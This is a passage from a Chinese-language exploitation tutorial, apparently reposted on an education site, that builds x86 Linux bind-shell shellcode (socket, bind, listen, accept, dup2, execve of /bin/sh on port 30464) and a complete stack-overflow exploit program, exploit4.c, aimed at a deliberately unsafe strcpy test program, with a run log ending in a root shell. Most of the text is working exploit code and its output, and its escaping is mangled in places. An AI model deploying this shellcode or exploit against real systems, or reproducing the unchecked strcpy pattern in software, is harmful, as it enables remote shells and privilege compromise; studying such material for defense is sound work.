/"//xb0//x02/" /* movb $0x2,%al */ 
/"//xcd//x80/" /* int $0x80 */ 
------------------------------------------------------------------------ 
---- 

socket(2,1,6)的汇编代码 
注:AF_INET=2,SOCK_STREAM=1,IPPROTO_TCP=6 
------------------------------------------------------------------------ 
---- 
/* socket使用66号系统调用,1号子调用。 */ 
/* 他使用一段内存块来传递参数2,1,6。 */ 
/* %ecx 里面为这个内存块的地址指针. */ 
char code[]= 
/"//x31//xc0/" /* xorl %eax,%eax */ 
/"//x31//xdb/" /* xorl %ebx,%ebx */ 
/"//x89//xf1/" /* movl %esi,%ecx */ 
/"//xb0//x02/" /* movb $0x2,%al */ 
/"//x89//x06/" /* movl %eax,(%esi) */ 
/* 第一个参数 */ 
/* %esi 指向一段未使用的内存空间 */ 
/"//xb0//x01/" /* movb $0x1,%al */ 
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */ 
/* 第二个参数 */ 
/"//xb0//x06/" /* movb $0x6,%al */ 
/"//x89//x46//x08/" /* movl %eax,0x8(%esi) */ 
/* 第三个参数. */ 
/"//xb0//x66/" /* movb $0x66,%al */ 
/"//xb3//x01/" /* movb $0x1,%bl */ 
/"//xcd//x80/" /* int $0x80 */ 
------------------------------------------------------------------------ 
---- 

bind(soc,(struct sockaddr *)&serv_addr,0x10)的汇编代码 
------------------------------------------------------------------------ 
---- 
/* bind使用66号系统调用,2号子调用。 */ 
/* 他使用一段内存块来传递参数。 */ 
/* %ecx 里面为这个内存块的地址指针. */ 
char code[]= 
/"//x89//xf1/" /* movl %esi,%ecx */ 
/"//x89//x06/" /* movl %eax,(%esi) */ 
/* %eax 的内容为刚才socket调用的返回值, */ 
/* 就是soc文件描述符,作为第一个参数 */ 
/"//xb0//x02/" /* movb $0x2,%al */ 
/"//x66//x89//x46//x0c/" /* movw %ax,0xc(%esi) */ 
/* serv_addr.sin_family=AF_NET(2) */ 
/* 2 放在 0xc(%esi). */ 
/"//xb0//x77/" /* movb $0x77,%al */ 
/"//x66//x89//x46//x0e/" /* movw %ax,0xe(%esi) */ 
/* 端口号(0x7700=30464)放在 0xe(%esi) */ 
/"//x8d//x46//x0c/" /* leal 0xc(%esi),%eax */ 
/* %eax = serv_addr 的地址 */ 
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */ 
/* 第二个参数. */ 
/"//x31//xc0/" /* xorl %eax,%eax */ 
/"//x89//x46//x10/" /* movl %eax,0x10(%esi) */ 
/* serv_addr.sin_addr.s_addr=0 */ 
/"//xb0//x10/" /* movb $0x10,%al */ 
/"//x89//x46//x08/" /* movl %eax,0x8(%esi) */ 
/* 第三个参数 . */ 
/"//xb0//x66/" /* movb $0x66,%al */ 
/"//xb3//x02/" /* movb $0x2,%bl */ 
/"//xcd//x80/" /* int $0x80 */ 
------------------------------------------------------------------------ 
---- 

listen(soc,1)的汇编代码 
------------------------------------------------------------------------ 
---- 
/* listen使用66号系统调用,4号子调用。 */ 
/* 他使用一段内存块来传递参数。 */ 
/* %ecx 里面为这个内存块的地址指针. */ 
char code[]= 
/"//x89//xf1/" /* movl %esi,%ecx */ 
/"//x89//x06/" /* movl %eax,(%esi) */ 
/* %eax 的内容为刚才socket调用的返回值, */ 
/* 就是soc文件描述符,作为第一个参数 */ 
/"//xb0//x01/" /* movb $0x1,%al */ 
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */ 
/* 第二个参数. */ 
/"//xb0//x66/" /* movb $0x66,%al */ 
/"//xb3//x04/" /* movb $0x4,%bl */ 
/"//xcd//x80/" /* int $0x80 */ 
------------------------------------------------------------------------ 
---- 

accept(soc,0,0)的汇编代码 
------------------------------------------------------------------------ 
---- 
/* accept使用66号系统调用,5号子调用。 */ 
/* 他使用一段内存块来传递参数。 */ 
/* %ecx 里面为这个内存块的地址指针. */ 
char code[]= 
/"//x89//xf1/" /* movl %esi,%ecx */ 
/"//x89//xf1/" /* movl %eax,(%esi) */ 
/* %eax 的内容为刚才socket调用的返回值, */ 
/* 就是soc文件描述符,作为第一个参数 */ 
/"//x31//xc0/" /* xorl %eax,%eax */ 
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */ 
/* 第二个参数. */ 
/"//x89//x46//x08/" /* movl %eax,0x8(%esi) */ 
/* 第三个参数. */ 
/"//xb0//x66/" /* movb $0x66,%al */ 
/"//xb3//x05/" /* movb $0x5,%bl */ 
/"//xcd//x80/" /* int $0x80 */ 
------------------------------------------------------------------------ 
---- 

dup2(cli,0)的汇编代码 
------------------------------------------------------------------------ 
---- 
/* 第一个参数为 %ebx, 第二个参数为 %ecx */ 
char code[]= 
/* %eax 里面是刚才accept调用的返回值, */ 
/* 客户的文件描述符cli . */ 
/"//x88//xc3/" /* movb %al,%bl */ 
/"//xb0//x3f/" /* movb $0x3f,%al */ 
/"//x31//xc9/" /* xorl %ecx,%ecx */ 
/"//xcd//x80/" /* int $0x80 */ 
------------------------------------------------------------------------ 
---- 

现在该把这些所有的细节都串起来,形成一个新的shell的时候了。 

new shellcode 
------------------------------------------------------------------------ 
---- 
char shellcode[]= 
00 /"//x31//xc0/" /* xorl %eax,%eax */ 
02 /"//xb0//x02/" /* movb $0x2,%al */ 
04 /"//xcd//x80/" /* int $0x80 */ 
06 /"//x85//xc0/" /* testl %eax,%eax */ 
08 /"//x75//x43/" /* jne 0x43 */ 
/* 执行fork(),当fork()!=0 的时候,表明是父进程,要终止 */ 
/* 因此,跳到0x43+a=0x4d,再跳到后面,执行 exit(0) */ 
0a /"//xeb//x43/" /* jmp 0x43 */ 
/* 当fork()==0 的时候,表明是子进程 */ 
/* 因此,跳到0x43+0c=0x4f,再跳到后面,执行 call -0xa5 */ 

0c /"//x5e/" /* popl %esi */ 
0d /"//x31//xc0/" /* xorl %eax,%eax */ 
0f /"//x31//xdb/" /* xorl %ebx,%ebx */ 
11 /"//x89//xf1/" /* movl %esi,%ecx */ 
13 /"//xb0//x02/" /* movb $0x2,%al */ 
15 /"//x89//x06/" /* movl %eax,(%esi) */ 
17 /"//xb0//x01/" /* movb $0x1,%al */ 
19 /"//x89//x46//x04/" /* movl %eax,0x4(%esi) */ 
1c /"//xb0//x06/" /* movb $0x6,%al */ 
1e /"//x89//x46//x08/" /* movl %eax,0x8(%esi) */ 
21 /"//xb0//x66/" /* movb $0x66,%al */ 
23 /"//xb3//x01/" /* movb $0x1,%bl */ 
25 /"//xcd//x80/" /* int $0x80 */ 
/* 执行socket(),eax里面为返回值soc文件描述符 */ 

27 /"//x89//x06/" /* movl %eax,(%esi) */ 
29 /"//xb0//x02/" /* movb $0x2,%al */ 
2d /"//x66//x89//x46//x0c/" /* movw %ax,0xc(%esi) */ 
2f /"//xb0//x77/" /* movb $0x77,%al */ 
31 /"//x66//x89//x46//x0e/" /* movw %ax,0xe(%esi) */ 
35 /"//x8d//x46//x0c/" /* leal 0xc(%esi),%eax */ 
38 /"//x89//x46//x04/" /* movl %eax,0x4(%esi) */ 
3b /"//x31//xc0/" /* xorl %eax,%eax */ 
3d /"//x89//x46//x10/" /* movl %eax,0x10(%esi) */ 
40 /"//xb0//x10/" /* movb $0x10,%al */ 
42 /"//x89//x46//x08/" /* movl %eax,0x8(%esi) */ 
45 /"//xb0//x66/" /* movb $0x66,%al */ 
47 /"//xb3//x02/" /* movb $0x2,%bl */ 
49 /"//xcd//x80/" /* int $0x80 */ 
/* 执行bind() */ 

4b /"//xeb//x04/" /* jmp 0x4 */ 
/* 越过下面的两个跳转 */ 

4d /"//xeb//x55/" /* jmp 0x55 */ 
/* 跳到0x4f+0x55=0xa4 */ 

4f /"//xeb//x5b/" /* jmp 0x5b */ 
/* 跳到0x51+0x5b=0xac */ 

51 /"//xb0//x01/" /* movb $0x1,%al */ 
53 /"//x89//x46//x04/" /* movl %eax,0x4(%esi) */ 
56 /"//xb0//x66/" /* movb $0x66,%al */ 
58 /"//xb3//x04/" /* movb $0x4,%bl */ 
5a /"//xcd//x80/" /* int $0x80 */ 
/* 执行listen() */ 

5c /"//x31//xc0/" /* xorl %eax,%eax */ 
5e /"//x89//x46//x04/" /* movl %eax,0x4(%esi) */ 
61 /"//x89//x46//x08/" /* movl %eax,0x8(%esi) */ 
64 /"//xb0//x66/" /* movb $0x66,%al */ 
66 /"//xb3//x05/" /* movb $0x5,%bl */ 
68 /"//xcd//x80/" /* int $0x80 */ 
/* 执行accept(),eax里面为返回值cli文件描述符 */ 

6a /"//x88//xc3/" /* movb %al,%bl */ 
6c /"//xb0//x3f/" /* movb $0x3f,%al */ 
6e /"//x31//xc9/" /* xorl %ecx,%ecx */ 
70 /"//xcd//x80/" /* int $0x80 */ 
72 /"//xb0//x3f/" /* movb $0x3f,%al */ 
74 /"//xb1//x01/" /* movb $0x1,%cl */ 
76 /"//xcd//x80/" /* int $0x80 */ 
78 /"//xb0//x3f/" /* movb $0x3f,%al */ 
7a /"//xb1//x02/" /* movb $0x2,%cl */ 
7c /"//xcd//x80/" /* int $0x80 */ 
/* 执行三个dup2() */ 

7e /"//xb8//x2f//x62//x69//x6e/" /* movl $0x6e69622f,%eax */ 
/* %eax=/"/bin/" */ 
83 /"//x89//x06/" /* movl %eax,(%esi) */ 
85 /"//xb8//x2f//x73//x68//x2f/" /* movl $0x2f68732f,%eax */ 
/* %eax=/"/sh//" */ 
8a /"//x89//x46//x04/" /* movl %eax,0x4(%esi) */ 
8d /"//x31//xc0/" /* xorl %eax,%eax */ 
8f /"//x88//x46//x07/" /* movb %al,0x7(%esi) */ 
92 /"//x89//x76//x08/" /* movl %esi,0x8(%esi) */ 
95 /"//x89//x46//x0c/" /* movl %eax,0xc(%esi) */ 
98 /"//xb0//x0b/" /* movb $0xb,%al */ 
9a /"//x89//xf3/" /* movl %esi,%ebx */ 
9c /"//x8d//x4e//x08/" /* leal 0x8(%esi),%ecx */ 
9f /"//x8d//x56//x0c/" /* leal 0xc(%esi),%edx */ 
a2 /"//xcd//x80/" /* int $0x80 */ 
/* 执行execve() */ 
/* 运行/bin/sh() */ 

a4 /"//x31//xc0/" /* xorl %eax,%eax */ 
a6 /"//xb0//x01/" /* movb $0x1,%al */ 
a8 /"//x31//xdb/" /* xorl %ebx,%ebx */ 
aa /"//xcd//x80/" /* int $0x80 */ 
/* 执行exit() */ 

ac /"//xe8//x5b//xff//xff//xff/" /* call -0xa5 */ 
/* 执行0x0c处的指令 */ 

b1 
------------------------------------------------------------------------ 
---- 

好,长长的shell终于写完了,下面就是攻击程序了。 

exploit4.c 
------------------------------------------------------------------------ 
---- 
#include<stdio.h> 
#include<stdlib.h> 
#include<unistd.h> 
#include<netdb.h> 
#include<netinet/in.h> 

#define ALIGN 0 
#define OFFSET 0 
#define RET_POSITION 1024 
#define RANGE 200 
#define NOP 0x90 

char shellcode[]= 
/"//x31//xc0/" /* xorl %eax,%eax */ 
/"//xb0//x02/" /* movb $0x2,%al */ 
/"//xcd//x80/" /* int $0x80 */ 
/"//x85//xc0/" /* testl %eax,%eax */ 
/"//x75//x43/" /* jne 0x43 */ 
/"//xeb//x43/" /* jmp 0x43 */ 
/"//x5e/" /* popl %esi */ 
/"//x31//xc0/" /* xorl %eax,%eax */ 
/"//x31//xdb/" /* xorl %ebx,%ebx */ 
/"//x89//xf1/" /* movl %esi,%ecx */ 
/"//xb0//x02/" /* movb $0x2,%al */ 
/"//x89//x06/" /* movl %eax,(%esi) */ 
/"//xb0//x01/" /* movb $0x1,%al */ 
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */ 
/"//xb0//x06/" /* movb $0x6,%al */ 
/"//x89//x46//x08/" /* movl %eax,0x8(%esi) */ 
/"//xb0//x66/" /* movb $0x66,%al */ 
/"//xb3//x01/" /* movb $0x1,%bl */ 
/"//xcd//x80/" /* int $0x80 */ 
/"//x89//x06/" /* movl %eax,(%esi) */ 
/"//xb0//x02/" /* movb $0x2,%al */ 
/"//x66//x89//x46//x0c/" /* movw %ax,0xc(%esi) */ 
/"//xb0//x77/" /* movb $0x77,%al */ 
/"//x66//x89//x46//x0e/" /* movw %ax,0xe(%esi) */ 
/"//x8d//x46//x0c/" /* leal 0xc(%esi),%eax */ 
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */ 
/"//x31//xc0/" /* xorl %eax,%eax */ 
/"//x89//x46//x10/" /* movl %eax,0x10(%esi) */ 
/"//xb0//x10/" /* movb $0x10,%al */ 
/"//x89//x46//x08/" /* movl %eax,0x8(%esi) */ 
/"//xb0//x66/" /* movb $0x66,%al */ 
/"//xb3//x02/" /* movb $0x2,%bl */ 
/"//xcd//x80/" /* int $0x80 */ 
/"//xeb//x04/" /* jmp 0x4 */ 
/"//xeb//x55/" /* jmp 0x55 */ 
/"//xeb//x5b/" /* jmp 0x5b */ 
/"//xb0//x01/" /* movb $0x1,%al */ 
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */ 
/"//xb0//x66/" /* movb $0x66,%al */ 
/"//xb3//x04/" /* movb $0x4,%bl */ 
/"//xcd//x80/" /* int $0x80 */ 
/"//x31//xc0/" /* xorl %eax,%eax */ 
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */ 
/"//x89//x46//x08/" /* movl %eax,0x8(%esi) */ 
/"//xb0//x66/" /* movb $0x66,%al */ 
/"//xb3//x05/" /* movb $0x5,%bl */ 
/"//xcd//x80/" /* int $0x80 */ 
/"//x88//xc3/" /* movb %al,%bl */ 
/"//xb0//x3f/" /* movb $0x3f,%al */ 
/"//x31//xc9/" /* xorl %ecx,%ecx */ 
/"//xcd//x80/" /* int $0x80 */ 
/"//xb0//x3f/" /* movb $0x3f,%al */ 
/"//xb1//x01/" /* movb $0x1,%cl */ 
/"//xcd//x80/" /* int $0x80 */ 
/"//xb0//x3f/" /* movb $0x3f,%al */ 
/"//xb1//x02/" /* movb $0x2,%cl */ 
/"//xcd//x80/" /* int $0x80 */ 
/"//xb8//x2f//x62//x69//x6e/" /* movl $0x6e69622f,%eax */ 
/"//x89//x06/" /* movl %eax,(%esi) */ 
/"//xb8//x2f//x73//x68//x2f/" /* movl $0x2f68732f,%eax */ 
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */ 
/"//x31//xc0/" /* xorl %eax,%eax */ 
/"//x88//x46//x07/" /* movb %al,0x7(%esi) */ 
/"//x89//x76//x08/" /* movl %esi,0x8(%esi) */ 
/"//x89//x46//x0c/" /* movl %eax,0xc(%esi) */ 
/"//xb0//x0b/" /* movb $0xb,%al */ 
/"//x89//xf3/" /* movl %esi,%ebx */ 
/"//x8d//x4e//x08/" /* leal 0x8(%esi),%ecx */ 
/"//x8d//x56//x0c/" /* leal 0xc(%esi),%edx */ 
/"//xcd//x80/" /* int $0x80 */ 
/"//x31//xc0/" /* xorl %eax,%eax */ 
/"//xb0//x01/" /* movb $0x1,%al */ 
/"//x31//xdb/" /* xorl %ebx,%ebx */ 
/"//xcd//x80/" /* int $0x80 */ 
/"//xe8//x5b//xff//xff//xff/" /* call -0xa5 */ 

unsigned long get_sp(void) 

__asm__(/"movl %esp,%eax/"); 


long getip(char *name) 

struct hostent *hp; 
long ip; 
if((ip=inet_addr(name))==-1) 

if((hp=gethostbyname(name))==NULL) 

fprintf(stderr,/"Can/"t resolve host.//n/"); 
exit(0); 

memcpy(&ip,(hp->h_addr),4); 

return ip; 


int exec_sh(int sockfd) 

char snd[4096],rcv[4096]; 
fd_set rset; 
while(1) 

FD_ZERO(&rset); 
FD_SET(fileno(stdin),&rset); 
FD_SET(sockfd,&rset); 
select(255,&rset,NULL,NULL,NULL); 
if(FD_ISSET(fileno(stdin),&rset)) 

memset(snd,0,sizeof(snd)); 
fgets(snd,sizeof(snd),stdin); 
write(sockfd,snd,strlen(snd)); 

if(FD_ISSET(sockfd,&rset)) 

memset(rcv,0,sizeof(rcv)); 
if(read(sockfd,rcv,sizeof(rcv))<=0) 
exit(0); 
fputs(rcv,stdout); 




int connect_sh(long ip) 

int sockfd,i; 
struct sockaddr_in sin; 
printf(/"Connect to the shell//n/"); 
fflush(stdout); 
memset(&sin,0,sizeof(sin)); 
sin.sin_family=AF_INET; 
sin.sin_port=htons(30464); 
sin.sin_addr.s_addr=ip; 
if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0) 

printf(/"Can/"t create socket//n/"); 
exit(0); 

if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0) 

printf(/"Can/"t connect to the shell//n/"); 
exit(0); 

return sockfd; 


void main(int argc,char **argv) 

char buff[RET_POSITION+RANGE+ALIGN+1],*ptr; 
long addr; 
unsigned long sp; 
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; 
int i; 
int sockfd; 

if(argc>1) 
offset=atoi(argv[1]); 

sp=get_sp(); 
addr=sp-offset; 

for(i=0;i<bsize;i+=4) 

buff[i+ALIGN]=(addr&0x000000ff); 
buff[i+ALIGN+1]=(addr&0x0000ff00)>>8; 
buff[i+ALIGN+2]=(addr&0x00ff0000)>>16; 
buff[i+ALIGN+3]=(addr&0xff000000)>>24; 


for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++) 
buff[i]=NOP; 

ptr=buff+bsize-RANGE*2-strlen(shellcode)-1; 
for(i=0;i<strlen(shellcode);i++) 
*(ptr++)=shellcode[i]; 

buff[bsize-1]=/"//0/" 

printf(/"Jump to 0x%08x//n/",addr); 

if(fork()==0) 

execl(/"./vulnerable/",/"vulnerable/",buff,0); 
exit(0); 

sleep(5); 
sockfd=connect_sh(getip(/"127.0.0.1/")); 
exec_sh(sockfd); 

------------------------------------------------------------------------ 
---- 
算法很简单,先生成溢出串,格式为:NNNNSSSSAAAA。然后起一个子进程执行目标 
程序 
来模拟网络daemon,参数为我们的字符串。好,堆栈溢出发生了。我们的 
shellcode被 
执行,那么在30464端口就会有server在listen了。 

父进程睡五秒,等待这些完成。就连接本机的端口30464。连接建立后,从socket 
读取 
收到的字符串,打印到标准输出,从标准输入读取字符串,传到socket的server端 
。 


下面来试一试: 

我们先写一个漏洞程序: 
vulnerable.C 
------------------------------------------------------------------------ 
---- 

#include <stdio.h> 

int main(int argc,char ** argv) 

char buffer[1000]; 
printf(/"I am here%x,buffer%d//n/",buffer,strlen(argv[1])); 
strcpy(buffer,argv[1]); 

return 0; 

------------------------------------------------------------------------ 
---- 

[nkl10]$ ./exploit 
Jump to 0xbffff63c 
I am herebffff280,buffer1224 
Connect to the shell 
Can/"t connect to the shell 
看到了吗?我在vulnerable.C里面加入了一个printf,打印buffer的首地址,这样 
就可以 
不用猜了。0xbffff63c-0xbffff280 = 956,好,就用956来进行偏移。 

[nkl10]$./exploit 956 
Jump to 0xbffff280 
I am herebffff280,buffer1224 
connect to shell 
whoami 
root 
id 
uid=0(root)...... 
uname -a 
如何阅读源代码 虚拟网络计算工具介绍 网络配置文件快速解读 帐号安全 学习Linux网络编程(1)

声明:该文观点仅代表作者本人,牛骨文系教育信息发布平台,牛骨文仅提供信息存储空间服务。